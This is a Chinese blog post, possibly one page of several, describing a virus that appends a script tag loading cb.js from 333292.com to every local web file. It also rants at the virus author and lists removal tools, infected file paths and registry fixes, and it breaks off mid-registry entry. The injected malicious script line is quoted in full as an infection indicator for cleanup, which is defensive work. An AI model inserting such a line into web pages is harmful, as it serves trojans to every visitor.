摘要：
打开几个本地的asp文件，竟然发现加载的很慢；马上打开.asp文件查看源码，发现每个asp、html文件都被插入一段病毒代码：http://www.333292.com/cb.js，网上一查，该病毒真是恶名昭著，罪行累累啊。金山毒霸报警为病毒VBS.AgentDlT.lb。关键字：
333292.com 病毒 清除方法 专杀 正文：
今天白天电脑被MM从网上下载了几个文件安装后，俺回家打开几个本地的asp文件，竟然发现加载的很慢；马上打开.asp文件查看源码，发现每个asp、html文件都被插入一段病毒代码：<script language=javascript src=http://www.333292.com/cb.js></script>，网上一查，该病毒真是恶名昭著，罪行累累啊。金山毒霸报警为病毒VBS.AgentDlT.lb。
中此病毒333292.com的机子最明显的特证就是在电脑所有网页文件，含.asp/.php/.html/.htm末尾注入一行代码<script language=javascript src=http://www.333292.com/cb.js></script>代码，打开中毒的网页就自动下载这个网站的木马，然后是无止境的木马一下子跑到你电脑上来。 真是恶毒的病毒啊，我问候333292.com病毒制造者他十八代祖宗，TMD什么事不干，偏偏干这种遗臭万年的事。你以为你TMD的赚点昧良心的黑钱，你就神气了，我诅咒你白天走路被车撞成一级残废，不要撞死，让你慢慢享受；晚上睡觉做梦嗝屁，早点去见你老祖宗吧，省得丢人现眼，……（此处省略1万字）。 发泄完毕了，嘿嘿，还是来提供杀毒方法吧。 首先下载飘易博客提供的这个批量替换专杀工具，这个工具是熊猫烧香作者李俊被抓后2007年2月9日于仙桃市第一看守所写的一个忏悔专门对付熊猫烧香类病毒的专杀，对付这个病毒同样有效。下载地址：病毒专杀工具-批量替换 或者使用iframekill v1.1网页附加代码清除工具，清除在html、ASP等网页后面附加<iframe>等的文件，或使用其也字符替换器软件进行批量替换也行。此病毒为ARP病毒，除了上面修复外，建议使用ARP防火墙病毒对系统进行防预，可以使用360防火墙进行防预或金山毒霸的清理专家，效果不错。 上面的方法专杀后，请用最新版的杀毒软件杀毒，全盘扫描，换我一个清净的系统。 另，网上还有另种手工清毒的法子，我个人认为如果你的杀毒软件的病毒库够新，基本不用如此麻烦的。大家可以试试该方法： 333292.com病毒清除办法 1、删除病毒文件：
%HomeDrive%\autorun.inf
%HomeDrive%\ncltkyp.exe %DriveLetter%\autorun.inf
%DriveLetter%\ncltkyp.exe
%ProgramFiles%\CommonFiles\MicrosoftShared\huatatq.exe
%ProgramFiles%\Common Files\Microsoft Shared\kljimyq.inf
%ProgramFiles%\Common Files\System\kljimyq.inf
%ProgramFiles%\Common Files\System\qjineui.exe
%ProgramFiles%\meex.exe 2、删除病毒添加的注册表项：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run]
kljimyq
ncltkyp
Debugger 3、恢复下列注册表项 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]DWORD："ShowSuperHidden"="1" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden] "Type"="checkbox"
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\helpsvc] "Start"="2"
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess] "Start"="2"
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]Start"="2"
[HKEY_LOCA
[1][2]
